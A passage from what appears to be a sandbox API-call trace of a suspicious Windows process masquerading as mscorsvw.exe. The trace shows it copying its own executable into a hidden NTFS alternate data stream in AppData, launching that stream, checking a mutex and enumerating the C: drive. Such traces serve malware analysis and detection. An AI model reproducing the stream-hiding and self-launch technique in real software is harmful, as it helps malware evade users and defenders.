ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="proquota.exe", cAlternateFileName="")) returned 1 [0253.487] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46066a74, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46066a74, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed3af170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb2e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="psr.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e0b627, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e0b627, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2e31787, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="PushPrinterConnections.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="qappsrv.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="qprocess.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="query.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdee020, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6cdee020, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed7673d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="quser.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e275c42, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6e275c42, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed78e4d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="qwinsta.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73750778, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x73750778, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7b55d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="rasautou.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7742950d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7742950d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7d9fc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="rasdial.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0b0458, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1e0b0458, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed84cbb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="raserver.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78aec5a2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78aec5a2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed873cb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="rasphone.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e7da47, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e7da47, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ea3ba8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x33800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="rdpclip.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efb6e09, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1efb6e09, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedad3b40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="rdrleakdiag.exe", cAlternateFileName="")) returned 1 [0253.488] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238c2b68, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x238c2b68, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedb1f630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ReAgentc.exe", cAlternateFileName="")) returned 1 [0253.488] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f3f0 [0253.488] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f368 [0253.488] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f3f0) returned 1 [0253.488] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f3f0 [0253.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\vmicsvc.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\vmicsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x118f8c4 | out: lpFileInformation=0x118f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0xa80000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x118fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x118f95c)) returned 0 [0253.488] GetLastError () returned 0x7b [0253.488] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f368) returned 1 [0253.488] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948560 [0253.488] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948560) returned 1 [0253.488] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1"), fInfoLevelId=0x0, lpFileInformation=0x118f8c4 | out: lpFileInformation=0x118f8c4*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xa80000, ftLastAccessTime.dwLowDateTime=0x948560, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x118fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x118f95c)) returned 0 [0253.488] GetLastError () returned 0x2 [0253.489] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x180 [0253.489] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x118f908, lpLastWriteTime=0x118f908) returned 1 [0253.489] WriteFile (in: hFile=0x180, lpBuffer=0x9485a8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x118f934, lpOverlapped=0x0 | out: lpBuffer=0x9485a8*, lpNumberOfBytesWritten=0x118f934*=0x0, lpOverlapped=0x0) returned 1 [0253.490] NtClose (Handle=0x180) returned 0x0 [0253.630] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f3f0) returned 1 [0253.630] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f478) returned 1 [0253.631] FindClose (in: hFindFile=0x548f80 | out: hFindFile=0x548f80) returned 1 [0253.631] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f500) returned 1 [0253.631] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f588) returned 1 [0253.631] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x800) returned 0x9441e8 [0253.631] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9441e8, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe")) returned 0x3a [0253.631] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0253.631] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x118f8c4 | out: lpFileInformation=0x118f8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0253.631] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0253.632] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x118f908, lpLastWriteTime=0x118f908) returned 0 [0253.632] GetFileSize (in: hFile=0x164, lpFileSizeHigh=0x118f8f4 | out: lpFileSizeHigh=0x118f8f4*=0x0) returned 0x25000 [0253.632] SetFilePointer (in: hFile=0x164, lDistanceToMove=0, lpDistanceToMoveHigh=0x118f900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x118f900*=0) returned 0x0 [0253.632] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x25000) returned 0x949690 [0253.633] ReadFile (in: hFile=0x164, lpBuffer=0x949690, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x118f934, lpOverlapped=0x0 | out: lpBuffer=0x949690*, lpNumberOfBytesRead=0x118f934*=0x25000, lpOverlapped=0x0) returned 1 [0253.636] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x25000) returned 0x96e698 [0253.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0253.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x25000) returned 0x949690 [0253.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9485a8) returned 1 [0253.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x96e698) returned 1 [0253.638] NtClose (Handle=0x164) returned 0x0 [0253.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f588) returned 1 [0253.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9441e8) returned 1 [0253.639] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0253.639] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x118f8c4 | out: lpFileInformation=0x118f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0xa80000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x118fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x118f95c)) returned 0 [0253.639] GetLastError () returned 0x2 [0253.639] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x164 [0253.639] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x118f908, lpLastWriteTime=0x118f908) returned 1 [0253.639] WriteFile (in: hFile=0x164, lpBuffer=0x949690*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x118f934, lpOverlapped=0x0 | out: lpBuffer=0x949690*, lpNumberOfBytesWritten=0x118f934*=0x25000, lpOverlapped=0x0) returned 1 [0253.644] NtClose (Handle=0x164) returned 0x0 [0253.646] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f588) returned 1 [0253.646] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0253.646] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943850) returned 1 [0253.647] CreateProcessAsUserW (in: hToken=0x14c, lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x118fc48*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x118fc38 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin", lpProcessInformation=0x118fc38*(hProcess=0x180, hThread=0x164, dwProcessId=0x770, dwThreadId=0x774)) returned 1 [0253.902] NtClose (Handle=0x164) returned 0x0 [0253.902] NtClose (Handle=0x14c) returned 0x0 [0253.902] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f148) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948248) returned 1 [0253.902] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948170) returned 1 [0253.902] Wow64DisableWow64FsRedirection (in: OldValue=0x118fce8 | out: OldValue=0x118fce8*=0x1) returned 1 [0253.902] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f148 [0253.902] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f588 [0253.902] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f500 [0253.902] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f478 [0253.902] GetLogicalDrives () returned 0x4 [0253.902] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0253.903] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948170 [0253.903] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f3f0 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0253.903] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948248 [0253.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x948248, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0253.903] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x9485a8 [0253.903] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948248) returned 1 [0253.903] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f3f0) returned 1 [0253.903] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948248 [0253.903] CryptAcquireContextW (in: phProv=0x118fc64, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x118fc64*=0x558980) returned 1 [0253.904] CryptCreateHash (in: hProv=0x558980, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x118fc64 | out: phHash=0x118fc64) returned 1 [0253.904] CryptHashData (hHash=0x548f80, pbData=0x9485a8, dwDataLen=0xa, dwFlags=0x0) returned 1 [0253.904] CryptGetHashParam (in: hHash=0x548f80, dwParam=0x4, pbData=0x118fc68, pdwDataLen=0x118fc74, dwFlags=0x0 | out: pbData=0x118fc68, pdwDataLen=0x118fc74) returned 1 [0253.904] CryptGetHashParam (in: hHash=0x548f80, dwParam=0x2, pbData=0x948248, pdwDataLen=0x118fc68, dwFlags=0x0 | out: pbData=0x948248, pdwDataLen=0x118fc68) returned 1 [0253.904] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948560 [0253.904] CryptDestroyHash (hHash=0x548f80) returned 1 [0253.904] CryptReleaseContext (hProv=0x558980, dwFlags=0x0) returned 1 [0253.904] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948248) returned 1 [0253.904] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948248 [0253.904] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0253.904] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948248) returned 1 [0253.904] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948248 [0253.905] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948248) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0253.905] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948560) returned 1 [0253.905] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948560 [0253.905] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0253.905] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0253.905] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0253.905] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{Global\\{-D2A8-E443--570-7-F5B2-D923-}") returned 0x0 [0253.905] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x948518) returned 1 [0253.905] GetLastError () returned 0x3 [0253.905] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xffffffff) returned 0xffffffff [0253.905] GetLastError () returned 0x6 [0253.905] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f3f0 [0253.905] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f368 [0253.905] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f2e0 [0253.905] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x118fa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118fa34) returned 0x548fc0 [0253.905] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520000, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0253.906] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x520000, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.906] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.906] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8bc08 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f1d0 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0x948518 [0253.906] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.906] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x520000, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.906] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.906] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f258 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0xa8ff98 [0253.906] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8f0c0 [0253.906] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0253.907] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520000, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0253.907] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, 